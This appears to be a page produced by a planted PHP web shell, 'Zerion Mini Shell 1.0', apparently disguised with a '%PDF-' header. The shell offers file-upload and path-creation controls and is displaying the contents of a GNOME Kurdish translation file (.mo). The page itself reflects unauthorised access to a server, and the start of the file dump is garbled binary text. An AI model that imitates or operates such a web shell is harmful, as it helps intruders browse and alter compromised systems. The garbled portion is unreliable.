%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /snap/gnome-42-2204/176/usr/share/locale/ku/LC_MESSAGES/
Upload File :
Create Path :
Current File : //snap/gnome-42-2204/176/usr/share/locale/ku/LC_MESSAGES/gnome-desktop-3.0.mo

��1�C,89Mht��
�<�)6Ba}-��
���|vn��b���|>	E	\	k	p	�	�	�	�	�	�	�	

1
9
N
	k
	u
2
'�
)�
':,+g��V
j
�
 �
)�
�
�
N]9f�'�%�0�*(Sf�z�!w�����{W%^���'�#�+E
Vdj~���	�-�(*02[:�!�(',0&/
	-)%*$"
.! 1#+%(name)s: %(value)s<b>%(name)s:</b> %(value)sAbout GNOMEAbout the GNOME DesktopBad command (Exec) to launchBrought to you by:Build DateCannot find a terminal, using xterm, even if it may not workContactDisplay information on this GNOME versionDistributorError cannot find file id '%s'Error reading file '%s': %sError rewinding file '%s': %sFile '%s' is not a regular file or directory.Friends of GNOMEGNOME LibraryGNOME also includes a complete development platform for applications programmers, allowing the creation of powerful and complex applications.GNOME includes most of what you see on your computer, including the file manager, web browser, menus, and many applications.GNOME is a Free, usable, stable, accessible desktop environment for the Unix-like family of operating systems.GNOME's focus on usability and accessibility, regular release cycle, and strong corporate backing make it unique among Free Software desktops.GNOME's greatest strength is our strong community. Virtually anyone, with or without coding skills, can contribute to making GNOME better.Hundreds of people have contributed code to GNOME since it was started in 1997; many more have contributed in other important ways, including translations, documentation, and quality assurance.LaptopLearn more about GNOMEMirror ScreensNewsNo URL to launchNo command (Exec) to launchNo filename to save toNo nameNot a launchable itemRANDR extension is not presentStarting %sThe Mysterious GEGLUnknownUnknown encoding of: %sVersionWanda The GNOME FishWelcome to the GNOME Desktop_Copy URL_Open URLcould not find a suitable configuration of screenscould not get information about CRTC %dcould not get information about output %dcould not get the range of screen sizescould not get the screen resources (CRTCs, outputs, modes)could not set the configuration for CRTC %dProject-Id-Version: gnome-desktop.HEAD
Report-Msgid-Bugs-To: http://bugzilla.gnome.org/enter_bug.cgi?product=gnome-desktop&component=general
PO-Revision-Date: 2010-01-16 00:26+0100
Last-Translator: Erdal Ronahi <erdal.ronahi@gmail.com>
Language-Team: Kurdish <gnu-ku-wergerandin@lists.sourceforge.net>
Language: ku
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-Rosetta-Export-Date: 2007-03-14 13:48+0000
%(name)s: %(value)s<b>%(name)s:</b> %(value)sDer barê GNOME deDer barê Sermaseya GNOME'yê deFermana xerab (Exec) ji bo destpêkirinêYên ku ji te re anî:Dîroka ÇêkirinêTu termînal nehat dîtin, xterm bi kar tîne, her çiqas heye ku nexebite jîTêkilîAgahiya der barê vê guhertoya GNOME'yê de nîşan bideBelavkarÇewtî id ya pelê '%s'ê nayê dîtinDi xwendina pelê '%s' de çewtî: %sDi şûnde standiya pelê '%s'yê de çewtî: %s'%s' ne pel an jî peldankeke derbasdar e.Hevalên GNOME'yêPirtûkxaneya GNOMEGNOME di nava xwe de, wekî din, platformeke bêkêmasî ya pêşxistinê ku pêşxistinkarên sepanan dikarin pê sepanên bihêz û tevlihev biafirînin, dihewîne.GNOME; rêvebira pelan, vegêroka webê, pêşekan û gelek sepanên din ku di komputera xwe de dibînî, di nava xwe de dihewîne.GNOME, ji bo malbatên pergalên xebitandinê yên wekî Unix'ê derdoreke sermasê ya azad, bikêrhatî û bibiryar e.GNOME bi başbûna bikarhatin û gihîştin, pêvajoya bipergal a berhemî û bi desteka bihêz a komî, di nava sermaseyên Nivîsbariya Azad de tekane ye.Hêza herî mezin a GNOME'yê, koma me ya zexm e. Hemû kesên ku xwedî hunera kodkirinê ya nîgaşî ne an jî ne xwediyê vê hunerê ne, dikarin piştgiriyê bidin pêşxistina GNOME'yê.Ji sala 1997an ku GNOME dest pê kir, bi sedan kes piştgiriyê dan kodkirina GNOME'yê; wekî din gelek kesên din bi wergerandin, belgekirin, kontrolkirina kalîteyê û bi gelek riyên din piştgiriyê dan GNOME'yê.LaptopZêdetir agahî li ser GNOME bistîneEkranên awêneNûçeURL'ya bê destpêkirin tuneFerman (Exec) ji bo destpêkirinê tuneNavê pelî ji bo tomarkirinê tuneBênavEv tişt nayê dan destpêkirinpêveka RANDR ne amade ye%s dest pê dikeGEGL ya bisirNenasKodkirina nenas: %sGuhertoWanda, masiyê GNOMEBi xêr hatî Sermaseya GNOME_URLyê ji ber bigire_URL vekeji bo ekranan tu mîhenga guncan nehat dîtinderbarê CRTC %d de agahî nehat standinDerbarê output %d de agahî nehat standinstandina bejn û bilindahiya ekranê ne pêkan bûçavkaniyên ekranê nehat standin (CRTCs, outputs, modes)mîhenga ji bo CRTC pêk nehat %d

Zerion Mini Shell 1.0